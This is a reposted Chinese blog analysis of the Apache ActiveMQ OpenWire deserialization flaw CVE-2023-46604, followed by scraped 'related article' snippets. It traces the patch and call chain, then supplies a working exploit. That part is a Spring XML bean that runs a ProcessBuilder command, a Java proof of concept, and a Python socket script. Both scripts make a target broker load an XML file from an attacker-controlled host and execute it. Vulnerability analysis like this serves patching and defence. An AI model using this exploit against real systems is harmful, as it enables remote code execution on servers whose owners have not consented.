Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞分析 CVE-2023-46604

news2024/11/20 18:43:08

Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

分析补丁内容

查看官方补丁内容

Merge pull request #1098 from cshannon/openwire-throwable-fix · apache/activemq@80089f9 · GitHub

package org.apache.activemq.openwire;

public class OpenWireUtil {

    /**
     * Verify that the provided class extends {@link Throwable} and throw an
     * {@link IllegalArgumentException} if it does not.
     *
     * @param clazz
     */
    public static void validateIsThrowable(Class<?> clazz) {
        if (!Throwable.class.isAssignableFrom(clazz)) {
            throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
        }
    }
}

这个方法用于验证给定的类是否是 Throwable 的子类,如果不是,则抛出 IllegalArgumentException 异常。

调用的地方

public abstract class BaseDataStreamMarshaller implements DataStreamMarshaller {
	@@ -229,8 +230,11 @@ protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput
    private Throwable createThrowable(String className, String message) {
        try {
            Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
+            OpenWireUtil.validateIsThrowable(clazz);
            Constructor constructor = clazz.getConstructor(new Class[] {String.class});
            return (Throwable)constructor.newInstance(new Object[] {message});
+        } catch (IllegalArgumentException e) {
+            return e;
        } catch (Throwable e) {
            return new Throwable(className + ": " + message);
        }

在 Apache ActiveMQ 中,BaseDataStreamMarshaller 是用于序列化和反序列化消息数据流的基础类之一。它是 ActiveMQ 的序列化框架中的一个重要组成部分,用于将消息对象转换为字节流以便在网络上传输,并在接收端将字节流还原为消息对象。

在 Apache ActiveMQ 中,Throwable 类通常用于表示可能出现的错误或异常情况。当代码执行过程中出现异常时,可以创建 Throwable 类的实例来表示这个异常,并通过抛出或捕获异常来进行相应的处理。

Class.forName(String className, boolean initialize, ClassLoader loader):这个重载形式允许指定是否初始化类以及类加载器。

  • className:要加载的类的全限定名。

  • initialize:一个布尔值,表示是否初始化类。如果为 true,则会执行类的静态代码块,如果为 false,则不会执行静态代码块。一般情况下,建议设置为 true

  • loader:一个类加载器对象,用于指定加载类的类加载器。如果不指定,则使用调用者的类加载器。

看样子!之前的版本没有检查clazz 属于什么类便实例化了该对象。任意类加载实例化 还有构造参数。

分析调用链

右键find useages - createThrowable

跟进其中一个looseUnmarsalThrowable进行分析

protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn)
    throws IOException {
    if (dataIn.readBoolean()) {
        String clazz = looseUnmarshalString(dataIn);
        String message = looseUnmarshalString(dataIn);
        Throwable o = createThrowable(clazz, message);
        if (wireFormat.isStackTraceEnabled()) {
            if (STACK_TRACE_ELEMENT_CONSTRUCTOR != null) {
                StackTraceElement ss[] = new StackTraceElement[dataIn.readShort()];
                for (int i = 0; i < ss.length; i++) {
                    try {
                        ss[i] = (StackTraceElement)STACK_TRACE_ELEMENT_CONSTRUCTOR
                            .newInstance(new Object[] {looseUnmarshalString(dataIn),
                                                       looseUnmarshalString(dataIn),
                                                       looseUnmarshalString(dataIn),
                                                       Integer.valueOf(dataIn.readInt())});
                    } catch (IOException e) {
                        throw e;
                    } catch (Throwable e) {
                    }
                }
                o.setStackTrace(ss);
            } else {
                short size = dataIn.readShort();
                for (int i = 0; i < size; i++) {
                    looseUnmarshalString(dataIn);
                    looseUnmarshalString(dataIn);
                    looseUnmarshalString(dataIn);
                    dataIn.readInt();
                }
            }
            o.initCause(looseUnmarsalThrowable(wireFormat, dataIn));
​
        }
        return o;
    } else {
        return null;
    }
}

在 Apache ActiveMQ 中,looseUnmarshalThrowable 是一个内部方法,用于处理消息的解组(unmarshal)过程中可能出现的异常情况。该方法通常用于在消息传递或序列化过程中尝试恢复消息的内容,以防止丢失信息。

  1. String clazz = looseUnmarshalString(dataIn); 这行代码通过调用 looseUnmarshalString 方法从 dataIn 数据流中读取异常的类名,并将其存储在名为 clazz 的字符串变量中。looseUnmarshalString 方法的作用是从数据流中解析出一个字符串值,然后返回该字符串值。

  2. String message = looseUnmarshalString(dataIn); 这行代码类似于第一行,它也通过调用 looseUnmarshalString 方法从 dataIn 数据流中读取异常的消息,并将其存储在名为 message 的字符串变量中。

继续分析looseUnmarsalThrowable的调用

右键find useages - looseUnmarsalThrowable

跟进其中一个ExceptionResponseMarshaller进行分析

/**
 * Un-marshal an object instance from the data input stream
 *
 * @param o the object to un-marshal
 * @param dataIn the data input stream to build the object from
 * @throws IOException
 */
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
    super.looseUnmarshal(wireFormat, o, dataIn);
​
    ExceptionResponse info = (ExceptionResponse)o;
    info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));
​
}

继续向上分析looseUnmarshal 的调用

右键find useages - looseUnmarshal 这里有点多慢慢分析...

最终找到一个doUnmarshal的方法

public Object doUnmarshal(DataInput dis) throws IOException {
    byte dataType = dis.readByte();
    if (dataType != NULL_TYPE) {
        DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
        if (dsm == null) {
            throw new IOException("Unknown data type: " + dataType);
        }
        Object data = dsm.createObject();
        if (this.tightEncodingEnabled) {
            BooleanStream bs = new BooleanStream();
            bs.unmarshal(dis);
            dsm.tightUnmarshal(this, data, dis, bs);
        } else {
            dsm.looseUnmarshal(this, data, dis);
        }
        return data;
    } else {
        return null;
    }
}

DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF]; 这行代码的作用是从名为 dataMarshallers 的数组中获取与数据类型对应的 DataStreamMarshaller 对象,并将其赋值给变量 dsm。这里使用了位运算符 & 来确保 dataType 的值在合法范围内(0 到 255),因为数组索引通常要求是非负整数,通过 dataType & 0xFF 可以将 dataType 转换为 0 到 255 之间的值,以便在数组中进行查找。

这里我们需要做如下考虑

1,我们需要dsm等于ExceptionResponseMarshaller ,这样就会调用ExceptionResponseMarshaller 的looseUnmarshal 方法。如此要dataType为31

2,this.tightEncodingEnabled 成立

继续分析doUnmarshal的调用

右键find useages - doUnmarshal

来到unmarshal 方法

@Override
public Object unmarshal(DataInput dis) throws IOException {
    DataInput dataIn = dis;
    if (!sizePrefixDisabled) {
        int size = dis.readInt();
        if (maxFrameSizeEnabled && size > maxFrameSize) {
            throw IOExceptionSupport.createFrameSizeException(size, maxFrameSize);
        }
        // int size = dis.readInt();
        // byte[] data = new byte[size];
        // dis.readFully(data);
        // bytesIn.restart(data);
        // dataIn = bytesIn;
    }
    return doUnmarshal(dataIn);
}

继续向上

右键find useages - unmarshal

来到readCommand()

protected Object readCommand() throws IOException {
    return wireFormat.unmarshal(dataIn);
}

readCommand()<—doRun()<—run()

protected void doRun() throws IOException {
    try {
        Object command = readCommand();
        doConsume(command);
    } catch (SocketTimeoutException e) {
    } catch (InterruptedIOException e) {
    }
}
@Override
public void run() {
    LOG.trace("TCP consumer thread for " + this + " starting");
    this.runnerThread=Thread.currentThread();
    try {
        while (!isStopped() && !isStopping()) {
            doRun();
        }
    } catch (IOException e) {
        stoppedLatch.get().countDown();
        onException(e);
    } catch (Throwable e){
        stoppedLatch.get().countDown();
        IOException ioe=new IOException("Unexpected error occurred: " + e);
        ioe.initCause(e);
        onException(ioe);
    }finally {
        stoppedLatch.get().countDown();
    }
}

至此调用链分析就结束了

要想成功加载恶意类,控制dataIn中的数据即可,

如何制造我们想要的序列化数据呢?

既然有readCommand,那么就会有writeCommand

参考下同类下的oneway方法

@Override
public void oneway(Object command) throws IOException {
    checkStarted();
    wireFormat.marshal(command, dataOut);
    dataOut.flush();
}

有兴趣的话可以分析producer.send(message);是如何到达oneway方法的

在 Apache ActiveMQ 中,当调用 producer.send(message) 发送消息时,消息的发送过程经过了几个步骤,最终会触发 oneway 方法。

  1. producer.send(message):这是消息生产者发送消息的方法调用。在 ActiveMQ 中,消息生产者通过调用这个方法将消息发送到目标队列或主题。

  2. 在 ActiveMQ 的内部实现中,send 方法会触发消息发送逻辑,该逻辑可能涉及到消息的封装、路由、传输等过程,具体取决于 ActiveMQ 的配置和使用方式。

  3. 最终,消息将会被封装成一个命令对象,这个命令对象可能是一个 ProducerInfo 或者其他与消息发送相关的命令对象。

  4. 接着,封装好的命令对象会被传递给底层的传输层,这个传输层可能是通过 TCP、HTTP 或其他协议进行通信。

  5. 在传输层中,消息会经过序列化(将消息对象转换为字节流)和网络传输的过程。

  6. 最终,消息到达了消息代理(broker),并被处理。在消息代理中,可能会调用 oneway 方法来处理接收到的命令对象,并执行相应的操作,比如存储消息、转发消息等。

因此,整个过程是从消息生产者的 send 方法开始,经过消息封装、传输、消息代理处理,最终到达了 oneway 方法。这个过程涉及了消息传输和处理的多个环节,在 ActiveMQ 内部都有相应的逻辑来处理消息的发送和接收。

我们可以直接获取oneway方法,并且传入exceptionResponse

((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);

什么对象可以被利用呢,这里给一个参考

org.springframework.context.support.ClassPathXmlApplicationContext

ClassPathXmlApplicationContext 可以创建bean 可以造成命令执行,如下给出示例

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>touch</value>
                <value>/tmp/activeMQ-RCE-success</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

ClassPathXmlApplicationContext支持网络远程加载,类似这样加载\http://xxxxx.xml 加载到容器里。

构造一个ClassPathXmlApplicationContext 它需要与ExceptionResponse 产生关联,于是便可以这样写

package org.springframework.context.support; 
public class ClassPathXmlApplicationContext extends Throwable{ 
  private String message; 
  public ClassPathXmlApplicationContext(String message) { 
    this.message = message; 
  } 
​
  @Override 
  public String getMessage() { 
    return message; 
  } 
}

之后用ExceptionResponse封装这个类

public class ExceptionResponse extends Response {
​
    public static final byte DATA_STRUCTURE_TYPE = CommandTypes.EXCEPTION_RESPONSE;
​
    Throwable exception;
​
    public ExceptionResponse(Throwable e) {
        setException(e);
    }
​
    ....
}

有如下生成恶意序列化的代码demo

import org.apache.activemq.ActiveMQConnectionFactory;  
import org.apache.activemq.command.ExceptionResponse;  
import org.apache.activemq.transport.AbstractInactivityMonitor;  
import org.springframework.context.support.ClassPathXmlApplicationContext;  
​
import javax.jms.\*;  
import java.io.\*;  
import java.lang.reflect.Method;  
​
public class MQ\_POC {  
    private static final String *ACTIVEMQ\_URL* \= "tcp://172.20.10.7:61616";  
    //定义发送消息的队列名称  
    private static final String *QUEUE\_NAME* \= "tempQueue";  
    public static void main(String\[\] args) throws Exception {  
        //创建连接工厂  
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(*ACTIVEMQ\_URL*);  
        //创建连接  
        Connection connection = activeMQConnectionFactory.createConnection();  
        //打开连接  
        connection.start();  
        Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml");  
        ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);  
​
        ((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);  
        connection.close();  
    }  
}

或者使用其他形式生成 序列化数据

import io
import socket
import sys
​
​
def main(ip, port, xml):
    classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))
​
    with socket_obj:
        out = socket_obj.makefile('wb')
        # out = io.BytesIO()  # 创建一个内存中的二进制流
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        # print(list(out.getvalue()))
        out.flush()
        out.close()
​
​
if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
              "http://192.168.0.101:8888/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
参考链接

vulhub/activemq/CVE-2023-46604/README.zh-cn.md at master · vulhub/vulhub · GitHubPre-Built Vulnerable Environments Based on Docker-Compose - vulhub/activemq/CVE-2023-46604/README.zh-cn.md at master · vulhub/vulhubicon-default.png?t=N7T8https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/README.zh-cn.md

奇安信攻防社区-【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)奇安信攻防社区-【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)icon-default.png?t=N7T8https://forum.butian.net/share/2566

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1547315.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

小程序富文本图片宽度自适应

解决这个问题 创建一个util.js文件,图片的最大宽度设置为100%就行了 function formatRichText(html) {let newContent html.replace(/\<img/gi, <img style"max-width:100%;height:auto;display:block;");return newContent; }module.exports {formatRichT…

2024-03-26 Android8.1 px30 WI-FI 模块rtl8821cu调试记录

一、kernel 驱动&#xff0c;我这里使用v5.8.1.2_35530.20191025_COEX20191014-4141这个版本&#xff0c;下载这个版本的驱动可以参考下面的文章。 2021-04-12 RK3288 Android7.1 USB wifi bluetooth 模块RTL8821CU 调试记录_rk平台rtl8821cu蓝牙调试-CSDN博客 二、Makefile文…

基于nodejs+vue考试信息报名系统python-flask-django-php

本文拟采用nodejs技术和express 搭建系统框架&#xff0c;后台使用MySQL数据库进行信息管理&#xff0c;设计开发的考试信息报名系统。通过调研和分析&#xff0c;系统拥有管理员、学生和教师三个角色&#xff0c;主要具备登录注册、个人信息修改、对系统首页、个人中心、学生管…

在项目中数据库如何优化?【MySQL主从复制(创建一个从节点复制备份数据)】【数据库读写分离ShardingJDBC(主库写,从库读)】

MySQL主从复制 MySQL主从复制介绍MySQL复制过程分成三步&#xff1a;1). MySQL master 将数据变更写入二进制日志( binary log)2). slave将master的binary log拷贝到它的中继日志&#xff08;relay log&#xff09;3). slave重做中继日志中的事件&#xff0c;将数据变更反映它自…

JS等比压缩图片方法

AI给出来的答案&#xff0c;AI真的能改变世界&#xff0c;以后程序员这个职业真的有可能不存在了。 function compressImage(image, callback) {// 创建一个 canvas 元素const canvas document.createElement(canvas);canvas.width 48;canvas.height 48;// 获取 canvas 的绘…

【学海拾贝】| 关于Python的 PEP 484规则了解:类型提示,函数注解

在实际的工厂在实际的工程代码的开发中&#xff0c;常常可以碰到这种情况 上网查了之后发现这是PEP484规则~ 文章目录 1 Type Hints for Variables&#xff08;变量在这里插入图片描述2 Function Annotations&#xff08;函数注解&#xff09;3 Type Checking Tools&#xff08…

【比特币】比特币的奥秘、禁令的深层逻辑与风云变幻

导语&#xff1a; 比特币(Bitcoin)&#xff0c;这个充满神秘色彩的数字货币&#xff0c;自诞生以来便成为各界瞩目的焦点。它背后所蕴含的Mining机制、禁令背后的深层逻辑以及市场的风云变幻&#xff0c;都让人欲罢不能。今天&#xff0c;我们将深入挖掘比特币的每一个角落&…

视觉图像处理与FPGA实现第七次作业——生成512深度、8位宽度的双端口存储器IP,并分析IP包资料构成

一、生成IP 打开Vivado&#xff0c;点击IP Catalog&#xff0c;搜索memory&#xff0c;双击对应IP核 调整参数为——512深度、8位宽度&#xff0c;双端口&#xff0c;然后一直默认点击OK 二、分析IP构成 查看IP细节&#xff0c;查看设计资源和仿真资源 双击打开文件 设计文件…

代码随想录 图论-并查集

代码随想录 (programmercarl.com) 寻找图中是否存在路径这道题中的类可看做并查集的标准类 目录 1971.寻找图中是否存在路径 684.冗余连接 685.冗余连接II 1971.寻找图中是否存在路径 1971. 寻找图中是否存在路径 已解答 简单 相关标签 相关企业 有一个具有 n 个顶…

NOIP,CSP-J,CSP-S——输入输出进阶

一、输入scanf 格式&#xff1a; int a,b; scanf("%d%d", &a, &b) 类似于 int a,b; cin>>a,b; 双引号里面的两个“%d”表示要输入两个int类型的变量的占位符。然后是要输入的变量名&#xff0c;前面要加“&”&#xff0c;如果有多个变量则用…

SystemUI修改系统状态栏右边的ICON背景颜色

文件在 status_bar.xml 。 如下&#xff1a; <com.android.keyguard.AlphaOptimizedLinearLayout android:id"id/system_icon_area"android:layout_width"0dp"android:layout_height"match_parent"android:background"#ff0000"andr…

我的 Android 性能书上架了!内附书籍介绍

大家好&#xff0c;我是拭心。 很高兴地向大家宣布&#xff0c;我的新书《Android 性能优化入门与实战》上架了&#xff01; 点击下面的小程序进行购买&#xff1a; 封面介绍 这本书的封面来自之前的投票文章 # 投票啦&#xff01;最新安卓进阶书籍封面由你来定&#xff0c;从四…

基于SIR模型的疫情发展趋势预测算法matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 5.完整程序 1.程序功能描述 基于SIR模型的疫情发展趋势预测算法.对病例增长进行SIR模型拟合分析&#xff0c;并采用模型参数拟合结果对疫情防控力度进行比较。整体思路为采用SIR微分方程模型…

小迪安全48WEB 攻防-通用漏洞Py 反序列化链构造自动审计 bandit魔术方法

#知识点&#xff1a; 1、Python-反序列化函数使用 2、Python-反序列化魔术方法 3、Python-反序列化 POP 链构造&#xff08;payload构造&#xff09; 4、Python-自动化审计 bandit 使用 #前置知识&#xff1a; 函数使用&#xff1a; pickle.dump(obj, file) : 将对…

pdfjs 实现给定pdf数据切片高亮并且跳转

pdfjs 实现给定pdf数据切片高亮并且跳转 pdfjs 类的改写基本展示需求的实现高亮功能的实现查询功能分析切片数据处理 pdfjs 类的改写 需求&#xff1a; pdf文件被解析成多个分段&#xff0c;每个分段需要能够展示&#xff0c;并且通过点击分段实现源pdf内容的高亮以及跳转需求…

深度学习十大算法之图神经网络(GNN)

一、图神经网络的基础 图的基本概念 图是数学中的一个基本概念&#xff0c;用于表示事物间复杂的关系。在图论中&#xff0c;图通常被定义为一组节点&#xff08;或称为顶点&#xff09;以及连接这些节点的边。每个边可以有方向&#xff0c;称为有向边&#xff0c;或者没有方向…

分布式系统面试全集通第一篇(dubbo+redis+zookeeper----分布式+CAP+BASE+分布式事务+分布式锁)

目录 分布式系统面试全集通第一篇什么是分布式?和微服务的区别什么是分布式分布式与微服务的区别 什么是CAP?为什么不能三者同时拥有分区容错性一致性可用性 Base理论了解吗基本可用软状态最终一致性 什么是分布式事务分布式事务有哪些常见的实现方案?2PC&#xff08;Two Ph…

【javaWeb 第六篇】后端-Tomcat服务器

Tomcat服务器基础入门 TomCat服务器Tomcat使用 TomCat服务器 web服务器是一个软件程序&#xff0c;对HTTP协议的操作进行封装&#xff0c;使得程序员不必直接对协议进行操作&#xff0c;让web开发更加的便捷 如何手动部署 如何手动部署一个web应用到Tomcat服务器中&#xff…

Element-Plus 实现动态渲染图标教程

&#x1f31f; 前言 欢迎来到我的技术小宇宙&#xff01;&#x1f30c; 这里不仅是我记录技术点滴的后花园&#xff0c;也是我分享学习心得和项目经验的乐园。&#x1f4da; 无论你是技术小白还是资深大牛&#xff0c;这里总有一些内容能触动你的好奇心。&#x1f50d; &#x…

网络编程(1)写一个简单的UDP网络通信程序【回显服务器】,并且实现一个简单的翻译功能

使用 JAVA 自带的api 目录 一、回显服务器 UdpEchoServer 服务器代码 客户端代码 二、翻译功能 UdpDictServer 在UdpDictServer里重写process方法 一、回显服务器 UdpEchoServer /*** 回显服务器* 写一个简单的UDP的客户端/服务器 通信的程序* 这个程序没有啥业务逻辑&am…